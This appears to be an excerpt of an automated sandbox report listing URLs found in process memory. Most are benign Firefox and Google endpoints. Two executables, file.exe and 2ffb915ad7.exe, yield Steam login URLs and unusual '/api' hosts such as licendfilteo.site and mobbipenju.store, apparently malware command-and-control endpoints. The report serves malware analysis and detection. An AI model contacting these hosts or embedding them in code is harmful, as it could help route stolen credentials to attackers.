Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3288872033.000001EE3667B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001A.00000002.3303939090.0000237DE8D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3146151572.000001EE2AAAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3135741496.000001EE1EA6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E6D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3288872033.000001EE3667B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabhttps://bugzilla.mozilla.org/show_bug.cgi?id=15
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001A.00000002.3171773023.000001EE2E703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001A.00000003.3003033062.000001EE2E41D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3002704138.000001EE2EA00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003350184.000001EE2E43E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003678460.000001EE2E460000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3278899876.000001EE31709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650browser.urlbar.keepPanelOpenDuringImeCompositionexper
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3302819914.0000057821204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001A.00000002.3135741496.000001EE1EA11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001A.00000002.3217553751.000001EE30A20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3106775006.000001EE30A26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3275863196.000001EE31440000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3105500898.000001EE30A20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3212142870.000001EE30724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ib.absa.co.za/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3137476533.000001EE2A1AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001A.00000002.3150497786.000001EE2BBD6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: file.exe, 00000000.00000003.2049716081.0000000001140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://licendfilteo.site/api
Source: 2ffb915ad7.exe, 0000000B.00000003.2841167798.0000000001656000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://licendfilteo.site/apiL
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: firefox.exe, 0000001A.00000002.3135741496.000001EE1EAD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobbipenju.store:443/api
Source: firefox.exe, 0000001A.00000003.3091384687.000001EE305C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mochitest.youtube.com/
Source: firefox.exe, 0000001A.00000002.3135741496.000001EE1EA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001A.00000002.3134482492.000000AD21504000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001A.00000003.3099283549.000001EE305CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3098794040.000001EE305C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3091384687.000001EE305C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/page/
Source: firefox.exe, 0000001A.00000003.3099283549.000001EE305CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3098794040.000001EE305C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3091384687.000001EE305C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/player/
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001A.00000002.3283280261.000001EE322BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001A.00000002.3283280261.000001EE322BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
